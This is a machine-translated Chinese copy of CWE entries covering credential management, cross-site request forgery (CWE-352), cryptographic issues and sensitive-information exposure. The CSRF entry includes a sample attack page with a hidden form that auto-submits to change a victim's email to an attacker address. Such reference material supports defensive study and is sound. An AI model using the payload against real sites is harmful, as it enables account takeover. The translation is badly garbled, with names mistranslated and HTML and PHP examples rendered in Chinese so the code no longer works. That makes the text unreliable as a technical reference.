HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 256年 明文存储密码
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 257年 可恢复的格式存储的密码
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 260年 密码配置文件
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 261年 弱密码编码
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 262年 不使用密码老化
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 263年 与长过期密码老化
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 324年 使用一个关键过去的保质期
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 521年 弱密码要求
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 523年 不受保护的运输凭证
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 549年 丢失的密码字段屏蔽
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 620年 未经证实的密码更改
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 640年 弱密码恢复机制忘记密码
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 798年 使用硬编码的凭证
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 916年 使用的密码哈希计算努力不足
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE ID可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。

评论:一些weakness-oriented替代品可能发现在不适当的身份验证(cwe - 287)或关键字搜索凭证。

+引用
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 CWE社区
CWE社区的成员提交的延长早期CWE版本
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2010-02-16 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms Detection_Factors
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的名字,关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新的引用
+以前的条目名称
改变日期 以前的条目名称
2020-02-24 凭证管理

cwe - 352:跨站点请求伪造(CSRF)

弱点ID: 352
抽象:复合
结构:复合
视图定制的信息:
+描述
web应用程序不会或不能充分验证是否格式良好的,有效的,一致的请求是故意提供的用户提交请求。
+复合组件
自然 类型 ID 的名字
需要 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 346年 起源验证错误
需要 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 441年 意想不到的代理或中介(困惑副)
需要 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 642年 外部控制临界状态的数据
需要 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 613年 会话过期不足
+扩展描述
当一个web服务器是用来接收来自客户机的请求没有任何机制来验证,这是故意发送,然后为攻击者有可能欺骗客户制作一个无意的请求到web服务器将被视为一个真正的请求。这可以通过一个URL,图片加载,XMLHttpRequest等,可能导致暴露的数据或意想不到的代码执行。
+替代条款
会话控制
跨站参考伪造
XSRF
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 345年 验证数据的真实性不足
PeerOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 79年 中和不当输入在Web页面生成(“跨站点脚本编制”)
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 1275年 敏感的饼干和不当SameSite属性
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 345年 验证数据的真实性不足
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

技术

Web服务器患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密
完整性
可用性
不可抵赖性
访问控制

技术的影响:获得特权或假设的身份;旁路保护机制;阅读应用程序数据;修改应用程序数据;DoS:崩溃,退出或重新启动

后果将取决于自然容易CSRF的功能。攻击者可以有效地执行任何操作的受害者。如果受害人是管理员或特权用户,其后果可能包括获得完全控制web应用程序-删除或窃取数据,卸载产品,或用它来启动其他攻击的所有产品的用户。因为攻击者有受害者的身份,CSRF的范围是有限的,只有受害者的特权。
+利用的可能性
媒介
+示范例子

示例1

这个示例PHP代码试图确保表单提交过程验证用户提交表单有一个有效的会话。CSRF攻击不会被这个对策阻止,因为攻击者伪造请求通过用户的web浏览器中已经存在一个有效的会话。

下面的HTML是为了允许用户更新一个概要文件。

(坏的代码)
例如语言:HTML
<表单动作= " / url /配置文件。php”方法= " post " >
< input type = " text " name = " firstname " / >
< input type = " text " name = "姓" / >
< br / >
< input type = " text " name = "电子邮件" / >
< input type = " submit " name =“提交”value = "更新" / >
> < /形式

概要文件。php包含以下代码。

(坏的代码)
例如语言:PHP
/ /初始化会话为了验证会话

session_start ();

/ /如果会话是有效的用户注册然后允许更新

如果(!session_is_registered(“用户名”)){

回声“无效的会话发现!”;

/ /将用户重定向到登录页面
[…]

退出;
}

/ /用户会话有效,所以处理请求

/ /和更新信息

update_profile ();

函数update_profile {

/ /读取的数据从POST并发送一个更新

/ /到数据库
SendUpdateToDatabase ($ _SESSION(“用户”),$ _POST['邮件']);
[…]
回应“你的资料已成功更新。”;
}

这段代码看起来保护,因为它检查一个有效的会话。然而,CSRF攻击可以从几乎任何标签或HTML构造,包括图像标记,链接嵌入对象标签或其他属性加载背景图像。

攻击者可以主机代码将默默地改变用户名和电子邮件地址的任何用户访问页面的同时保持登录到目标web应用程序。代码可能是一个web页面看上去无害的如:

(攻击代码)
例如语言:HTML
<脚本>
函数SendAttack () {
的形式。电子邮件=“attacker@example.com”;
/ /发送profile.php
form.submit ();
}
> < /脚本

<身体onload = " javascript: SendAttack (); " >

<表单动作= " http://victim.example.com/profile.php " id =“形式”方法= " post " >
< input type = "隐藏" name = =“有趣”>“firstname”价值
< input type = "隐藏" name = "姓" value = "玩笑" >
< br / >
< input type = "隐藏" name = "电子邮件" >
> < /形式

注意表单包含隐藏字段,所以当它被加载到浏览器,用户不会注意到它。因为SendAttack()定义在身体的onload属性,它将自动加载web页面时调用受害者。

假设用户已经登录到victim.example.com,概要文件。php将看到已经建立了一个有效的用户会话,然后更新电子邮件地址到攻击者的地址。在这个阶段,用户的身份已经被突破,并通过这个概要文件可以发送的消息被发送到攻击者的地址。

+观察到的例子
参考 描述
通过URL添加用户帐户在一个img标记
通过URL添加用户帐户在一个img标记
通过指定任意代码执行了img标记或URL的代码
通过一个URL获得管理权限在img标记
删除一个受害者的信息通过一个URL或一个img标记
通过一个URL或修改其他用户的设置一个img标记
执行操作,管理员通过一个URL或一个img标记
修改管理员密码
CMS允许通过CSRF攻击管理员修改配置
网络接口允许通过CSRF密码更改或停止虚拟机
+潜在的缓解措施

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

例如,使用anti-CSRF包如OWASP CSRFGuard。(ref - 330]

另一个例子是ESAPI会话管理控制,其中包括CSRF的组件。(REF-45]

实施阶段:

确保应用程序是免费的跨站点脚本的问题(cwe - 79),因为大多数CSRF防御可以绕过使用attacker-controlled脚本。

阶段:体系结构和设计

生成唯一nonce对于每一个形式,把临时的形式,并验证表单的nonce收到。确保目前无法预测(cwe - 330)。(ref - 332]
注意:注意,这可以绕过使用XSS (cwe - 79)。

阶段:体系结构和设计

确定特别危险操作。当用户执行一个危险的操作时,发送一个单独的确认请求,以确保用户要执行该操作。
注意:注意,这可以绕过使用XSS (cwe - 79)。

阶段:体系结构和设计

使用“double-submitted饼干”方法被法尔顿和西:

当用户访问一个网站,该网站应该生成一个伪随机值和设置cookie在用户的机器上。网站应要求每个表单提交包括这个值是一种价值,也是一个cookie的值。当一个POST请求发送到网站,请求应该只被认为是有效的如果表单值和cookie值是相同的。

由于同源策略,攻击者不能读取或修改值存储在cookie中。代表用户成功提交表单,攻击者必须猜出伪随机值。如果伪随机值密码地强劲,这将是非常困难的。

这种技术需要Javascript,所以它可能不适合禁用Javascript的浏览器。(ref - 331]

注意:请注意,这可能可以绕过使用XSS (cwe - 79),或者当使用web技术,使攻击者读取原始HTTP请求头。

阶段:体系结构和设计

不要使用GET方法触发状态改变的任何请求。

实施阶段:

检查HTTP引用页头是否起源于一个预期的页面请求。这可能破坏合法功能,因为用户或代理可能会禁用发送推荐人原因隐私。
注意:注意,这可以绕过使用XSS (cwe - 79)。攻击者可以使用XSS来生成一个推荐人,或者生成一个恶意请求一个页面的引用页将被允许。
+检测方法

手动分析

这个弱点可以检测使用的工具和技术,需要手动(人类)的分析,如渗透测试、威胁建模和交互工具,允许测试人员记录和修改一个活跃的会话。

具体地说,人工分析可以用于发现这个弱点,和最小化假阳性假设的理解业务逻辑。然而,它不可能实现在有限时间约束所需的代码覆盖率。对于黑盒分析,如果不以特权帐户凭据,那么重要的最安全的部分应用程序可能得不到足够的关注。

考虑使用OWASP CSRFTester识别潜在的问题和帮助手册分析。

有效性:高

注意:这些可能是更有效的比严格的自动化技术。尤其如此弱点设计和相关的业务规则。

自动静态分析

CSRF目前很难发现可靠地使用自动化技术。这是因为每个应用程序都有自己的隐式安全政策,规定哪些请求可以受到一个局外人和自动执行代表一个用户,而哪些请求需要强大的信心,用户打算请求。例如,一个公共部分的关键词搜索一个网站通常是将编码在一个链接,可以当用户单击链接时自动启动。

有效性:有限

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:飙升部分

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • Web应用程序扫描

有效性:高

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 模糊测试
  • 基于框架Fuzzer

有效性:高

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 关注人工抽查,手动分析来源
  • 手工源代码审查(不检查)

有效性:飙升部分

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:飙升部分

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。
  • 正式的方法/ Correct-By-Construction

有效性:飙升部分

+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 716年 OWASP 2007年十大类别A5,跨站请求伪造(CSRF)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 801年 2010年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 814年 OWASP 2010年十大类别A5,跨站点请求伪造(CSRF)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 864年 2011年前25 -安全组件之间的交互
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 936年 OWASP十大2013类别A8 -跨站点请求伪造(CSRF)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1345年 OWASP 2021年十大类别A01:2021——破碎的访问控制
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

的关系

XSS和CSRF之间可以有密切关系(cwe - 352)。攻击者可能会使用CSRF为了诱骗受害人提交请求到服务器的请求包含一个XSS负载。一个著名的例子是萨米蠕虫在MySpace上(ref - 956]。蠕虫使用XSS恶意HTML序列插入到用户的概要文件并添加攻击者为MySpace的朋友。MySpace的朋友,受害者将执行负载来修改自己的资料,导致蠕虫传播指数。由于受害者没有故意插入恶意脚本本身,CSRF根源。

理论

CSRF拓扑是多通道:

  • 攻击者(如局外人)中介(用户)。交互点是外部或内部通道。
  • 中介(用户)服务器(受害者)。激活是一个内部通道。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 跨站请求伪造(CSRF)
OWASP十大2007 A5 确切的 跨站请求伪造(CSRF)
WASC 9 跨站点请求伪造
+引用
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪恶之2:服务器相关的漏洞(XSS, XSRF和响应分裂)。”Page 37. McGraw-Hill. 2010.
[ref - 329]彼得·W。“跨站点请求伪造(Re:允许用户上传图像)的危险”。Bugtraq。<http://marc.info/?l=bugtraq&m=99263135911884&w=2>。
OWASP (ref - 330)。“跨站点请求伪造(CSRF)预防备忘单”。<http://www.owasp.org/index.php/Cross-Site_Request_Forgery_ (CSRF) _Prevention_Cheat_Sheet>。
(ref - 331)爱德华·w·法尔顿和威廉·西。“跨站点请求伪造:剥削和预防”。2008-10-18。<http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>。
[ref - 332]罗伯特钻。“CSRF——跨站点请求伪造(CSRF / XSRF)常见问题解答”。<http://www.cgisecurity.com/articles/csrf-faq.shtml>。
[ref - 333]“跨站点请求伪造”。维基百科。2008-12-22。<http://en.wikipedia.org/wiki/Cross-site_request_forgery>。
(ref - 334)杰森。“前25系列——排名4 -跨站请求伪造”。无软件安全研究所。2010-03-03。<http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery>。
杰夫·阿特伍德(ref - 335)。“阻止CSRF和XSRF攻击”。2008-10-14。<http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html>。
REF-45 OWASP。“OWASP企业安全API (ESAPI)项目”。<http://www.owasp.org/index.php/ESAPI>。
(ref - 956)维基百科。“萨米(电脑蠕虫病毒)”。<https://en.wikipedia.org/wiki/Samy_ (computer_worm)>。URL验证:2018-01-16
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
更新Alternate_Terms、描述关系,Other_Notes, Relationship_Notes Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Applicable_Platforms、描述Likelihood_of_Exploit、Observed_Examples Other_Notes, Potential_Mitigations,引用,Relationship_Notes,关系,Research_Gaps Theoretical_Notes
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-20 汤姆Stracener
添加演示示例配置文件。
2009-05-27 CWE内容团队 主教法冠
更新Demonstrative_Examples Related_Attack_Patterns
2009-12-28 CWE内容团队 主教法冠
更新Common_Consequences、Demonstrative_Examples Detection_Factors、Likelihood_of_Exploit Observed_Examples, Potential_Mitigations Time_of_Introduction
2010-02-16 CWE内容团队 主教法冠
更新Applicable_Platforms Detection_Factors、引用关系,Taxonomy_Mappings
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences、Detection_Factors Potential_Mitigations、引用关系
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新描述
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新Potential_Mitigations,引用
2012-05-11 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新的关系
2013-07-17 CWE内容团队 主教法冠
更新引用关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Likelihood_of_Exploit Modes_of_Introduction、引用关系
2018-03-27 CWE内容团队 主教法冠
更新引用,Relationship_Notes Research_Gaps
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新的关系
2020-06-25 CWE内容团队 主教法冠
更新的关系,Theoretical_Notes
2020-08-20 CWE内容团队 主教法冠
更新的关系
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-06-28 CWE内容团队 主教法冠
更新的关系

CWE类别:加密问题

类别ID: 310
+总结
这一类的弱点有关数据机密性和完整性的设计和实现。经常这些处理编码的使用技术,加密库和散列算法。这个类别中的弱点可能导致退化的质量数据如果不解决。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 699年 软件开发
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1346年 OWASP十大2021类别A02:2021 -密码失败
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 261年 弱密码编码
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 324年 使用一个关键过去的保质期
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 325年 丢失的密码步骤
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 328年 使用弱散列
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 331年 熵不足
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 334年 小空间的随机值
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 335年 不正确的使用伪随机数生成器的种子(PRNG)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 338年 使用密码地弱伪随机数生成器(PRNG)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 347年 不当验证加密的签名
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 916年 使用的密码哈希计算努力不足
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1240年 使用加密的原始风险实现
+笔记

映射

使用映射:禁止(CWE ID不能用来映射到现实世界的漏洞)。

理由是:该条目是一个类别。使用类别映射一直是积极鼓励实践至少自2019年以来。类别是非正式组织分组CWE的弱点,帮助导航和浏览用户,但他们不是自己的弱点(ref - 1287]。这个CWE ID可能已经广泛使用,因为NIST的用法在NVD从2008年到2016年cwe - 635看来,更新的cwe - 10032016年视图)。

评论:一些weakness-oriented替代品可能发现损坏或危险的后代在使用加密算法(cwe - 327)

+引用
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第八章,259页“加密弱点”。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-09-08 CWE内容团队 主教法冠
更新Maintenance_Notes、关系、Relationship_Notes Taxonomy_Mappings
2009-07-27 CWE内容团队 主教法冠
更新Maintenance_Notes Relationship_Notes,关系
2009-10-29 CWE内容团队 主教法冠
更新的关系
2010-02-16 CWE内容团队 主教法冠
更新的引用
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-02-18 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms Functional_Areas、引用Related_Attack_Patterns Relationship_Notes
2018-03-27 CWE内容团队 主教法冠
更新引用关系
2019-06-20 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新描述、Maintenance_Notes关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-10-13 CWE内容团队 主教法冠
更新Maintenance_Notes,引用

cwe - 200:暴露敏感信息的未经授权的演员

弱点ID: 200
抽象:
结构:简单的
视图定制的信息:
+描述
产品暴露敏感信息的一个演员,没有明确被授权可以访问这些信息。
+扩展描述

有许多不同类型的错误,介绍信息曝光。错误的严重程度范围广泛,可以根据产品的上下文操作,透露敏感信息的类型,以及它可能提供给攻击者的利益。某些敏感信息包括:

  • 私人的,个人信息,个人信息,如财务数据,健康记录,地理位置,或联系细节
  • 系统状态和环境,如操作系统和安装包
  • 商业秘密和知识产权
  • 网络状态和配置
  • 产品的代码或内部状态
  • 元数据,比如日志或消息头的连接
  • 间接信息,比如两个内部操作之间的差异,可以观察到一个局外人

对不同党派信息可能是敏感,每一种都可能有自己的预期是否应该受到保护的信息。这些政党包括:

  • 产品的用户
  • 人或组织的信息创建或使用的产品,即使他们不是直接产品用户
  • 产品的管理,包括系统的管理员(s)和/或网络产品的经营
  • 开发人员

信息曝光可以发生在不同的方式:

  • 的代码显式地插入敏感信息资源或消息有意访问未经授权的演员,但不应包含的信息——即。,信息应该是“擦洗”或“净化”
  • 一个不同的弱点或错误间接插入敏感信息为资源,如web脚本错误揭示了全系统程序的路径。
  • 故意包含敏感信息的代码管理资源,但资源无意中做了访问未经授权的演员。在这种情况下,合成——即暴露信息。,a different weakness enabled the access to the information in the first place.

保密是常见的做法来描述任何损失作为“信息暴露,”但这可能导致过度使用cwe - 200CWE的映射。从CWE的角度来看,损失的机密性是一个技术的影响,可以来自几十个不同的弱点,如不安全的文件权限或界外阅读。cwe - 200及其底层的后代为了封面中发生的错误行为,明确管理、存储、传输或净化敏感信息。

+替代条款
信息披露:
这个词经常用于漏洞报告来描述结果或技术的影响,对任何漏洞,机密性的丧失。通常,cwe - 200可以被滥用代表机密性的损失,即使错误——即。,the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.
信息泄漏:
然而,这是一个经常使用的术语“泄漏”项中有多个使用安全。在某些情况下,处理意外接触的信息从一个不同的弱点,但是在其他情况下(比如内存泄漏),这种资源的处理不当跟踪,从而导致疲劳。因此,CWE积极避免使用术语“泄漏”。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
